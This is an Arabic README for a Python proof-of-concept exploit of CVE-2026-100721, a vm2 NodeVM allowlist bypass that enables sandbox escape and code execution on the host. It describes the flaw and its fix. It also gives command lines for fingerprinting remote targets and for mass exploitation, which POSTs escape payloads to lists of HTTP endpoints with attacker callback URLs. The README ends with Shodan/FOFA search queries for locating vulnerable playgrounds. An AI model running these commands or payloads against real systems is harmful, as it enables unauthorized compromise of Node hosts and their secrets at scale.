
Python PoC لـ CVE-2026-100721: يكتشف ويستغل تجاوز قائمة السماح الخارجية في NodeVM الخاص بـ vm2 <3.12.2، مما يحقق الهروب من الـ sandbox وتنفيذ أوامر عن بُعد على المضيف عبر مختبر محلي أو أهداف HTTP جماعية.
Python 3 PoC لـ CVE-2026-100721 — vm2 (npm) قبل 3.12.2 تفويض غير صحيح في مُحلِّل الوحدات الخارجية NodeVM، مما يؤدي إلى الهروب من الـ sandbox وتنفيذ كود على المضيف عندما يعمل JavaScript غير موثوق داخل embedder مُهيَّأ بشكل خاطئ.
صفحة PoC: https://pocbit.org/pocs/cve-2026-100721
vm2 هي مكتبة Node.js واسعة الاستخدام لتشغيل JavaScript غير موثوق داخل sandbox ضمن نفس عملية Node. تستخدم التطبيقات NodeVM مع قيود مثل:
require.builtin — الوحدات الأساسية التي قد يحمّلها كود الضيف (fs، child_process، …)require.external — قائمة سماح بأسماء حزم npm (مثل left-pad، lodash فقط)require.resolve — مُحلِّل مخصص يشير إلى دليل إضافات أو تبعيات يتحكم به المضيفcontext: 'host' — الحزم الخارجية تُحمَّل عبر require() الحقيقي للمضيف (شائع للأداء)الـ embedders النموذجية: منصات سكربتات المستخدمين، مشغّلات low-code، أسواق الإضافات، بيئات التطوير عبر الإنترنت، sandboxes الأتمتة، وخدمات "safe eval" الداخلية.
CVE-2026-100721 هي تفويض غير صحيح (CWE-863) في كيفية تحديد vm2 لما إذا كان require("package-name") من الضيف مسموحًا به.
تم إصلاح خللين مرتبطين عبر إصدارات vm2 (نفس فئة الخلل — التباس في حدود الاسم / المسار):
يبني الفحص المسبق لقائمة السماح نمطًا من مدخلات مثل left-pad لكنه لا يفرض حدًا كاملًا لاسم الحزمة. يمكن لكود الضيف طلب evil-left-pad لأن النص يحتوي على left-pad. إذا كانت تلك الحزمة المتصادمة موجودة على مسار يمكن لـ المُحلِّل المخصص الوصول إليه، فإن vm2 يحمّلها في سياق المضيف. كود الوحدة من المستوى الأعلى يعمل قبل تغليف الـ sandbox → child_process، قراءة الملفات، الأسرار، إلخ.
lib/resolver-compat.js، تم إصلاحه في 3.12.2)عند استخدام مُحلِّل مخصص مع context: 'host'، يسجّل vm2 الأدلة المسموح بها باستخدام تعبير نمطي للبادئة دون فاصل مسار / حد نهاية صارم. يمكن للضيف لاحقًا استخدام require() على مسار مطلق إلى شقيق غير مُدرَج في قائمة السماح (مثل .../node_modules/foo2/index.js عندما يكون foo فقط مُدرَجًا). يمر الشقيق عبر isPathAllowedForModule ويُنفَّذ في عملية المضيف.
المتأثر: vm2 < 3.12.2 (CVE-2026-100721). إصلاحات تصادم الأسماء ذات الصلة وصلت أيضًا في 3.11.7.
الإصلاح: الترقية إلى vm2 ≥ 3.12.2 (والبقاء على أحدث إصدار).
| المقياس | القيمة |
|---|---|
| CVSS 3.1 | 9.0 حرج — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CVSS 4.0 | 9.5 حرج (Rapid7 / VulnCheck) |
| المصادقة | سلسلة الاستغلال تبدأ عادةً بعد تنفيذ كود بصلاحيات منخفضة داخل الـ sandbox (PR:L في التنبيه) |
| الفضل | Tencent Xuanwu Lab XlabAI، محرك Atuin، Guannan Wang وآخرون |
"RCE بطلب HTTP واحد" عن بُعد ليس شاملًا. السلاسل العملية تحتاج:
require.external + غالبًا require.resolve مخصص.context: 'host' (أو ما يعادله من تحميل على المضيف) للحزم الخارجية.عندما تتوافق هذه الشروط، يكون التأثير اختراقًا كاملًا لعملية Node على المضيف — وليس مجرد إساءة استخدام sandbox الضيف.
| الوضع | السلوك |
|---|---|
--lab | استغلال محلي موثوق: lab/ يثبّت vm2 3.11.5، يبني evil-left-pad، يوضّح POCBIT-100721-HOST_EXEC (يعكس تنبيه المورّد) |
check | بصمة vm2 عن بُعد (package.json، lockfiles، حزم JS)، الإصدار < 3.12.2، --probe-exec اختياري ضد مسارات API الشائعة للـ sandbox |
exploit | POST قابل للتوسع الجماعي لـ JS فحص تجاوز قائمة السماح (evil-left-pad، أسماء متصادمة) إلى --exec-paths القابلة للتهيئة؛ يضع علامة exploited عند وجود علامة في الاستجابة أو سطح API للـ sandbox + --callback-url |
| Mass bulk | --list targets.txt --mode exploit -j N → cve_2026_100721_exploit.jsonl + exploited.txt |
حقول PoCbit JSONL: pocbit، pocbit_catalog، pocbit_page في كل صف.
CLI: شعار PoCbit أخضر/أرجواني، تلوين [EXPLOIT] / [SENT] / [FAIL] / [HIT] (--no-color للتعطيل).
مهم: وضع الاستغلال عن بُعد يستهدف مشغّلات sandbox عبر HTTP التي تهيّئها. للتحقق من المكتبة فقط، استخدم python poc.py --lab (يتطلب Node.js + npm).
pip install -r requirements.txt
| المكوّن | الغرض |
|---|---|
| Python 3.9+ | الماسح / مشغّل الاستغلال الجماعي |
| Node.js + npm | --lab فقط (موصى به لفهم CVE) |
cd CVE-2026-100721
python poc.py --lab
المتوقع على vm2 المصاب:
[+] require(evil-left-pad): POCBIT-100721-HOST_EXEC
[+] RESULT: VULNERABLE
python poc.py -u https://app.example.com --mode check
python poc.py -u https://app.example.com --mode check --probe-exec
python poc.py --list targets.example.txt --mode check -j 12 --probe-exec
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--exec-paths /api/run,/api/eval --code-field code
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--callback-url http://your-collaborator.example/cve-100721
python poc.py --list targets.txt --mode exploit \
--exec-paths /api/run,/api/sandbox/run \
--callback-url http://oast.example.com/hit -j 15
سكربت ضيف مخصص:
python poc.py -u http://127.0.0.1:3000 --mode exploit --payload-file my_escape.js
المخرجات:
cve_2026_100721_exploit.jsonl — JSON لكل هدفexploited.txt — الأهداف التي حدث فيها علامة الهروب، أو سطح callback، أو إصابة API الـ sandboxيتحقق المشغّل من الأنماط الشائعة (تجاوزها بـ --exec-paths):
/api/run، /api/eval، /api/execute، /api/sandbox/run، /api/vm/run، /api/code/run، /run، /execute، /eval، /api/v1/run، /api/playground/run، …
حقول جسم JSON المُجرَّبة: code، script، source، javascript، js، payload، … (تجاوزها بـ --code-field).
سكربت الاستغلال JS المدمج يكرّر أسماء حزم متصادمة مثل evil-left-pad (PoC تجاوز قائمة السماح). على embedder مصاب يستضيف بالفعل الحزمة المتصادمة:
require("evil-left-pad"); // host top-level code runs → sandbox escape
الملف المحلي lab/poc.js ينفّذ سيناريو التنبيه الموثوق الكامل مع external: ['left-pad']، builtin: []، و**resolve** مخصص.
require المضيف.npm ls vm2، SBOM، فحوصات الحاويات، Shodan/FOFA لـ "playground" + حزمة Node.body="vm2"
header="Express"
title="playground"
body="/api/eval"
body="NodeVM"
اجمعها مع /package-lock.json أو /node_modules/vm2/package.json المكشوفين (تهيئة خاطئة) لتأكيد الإصدار.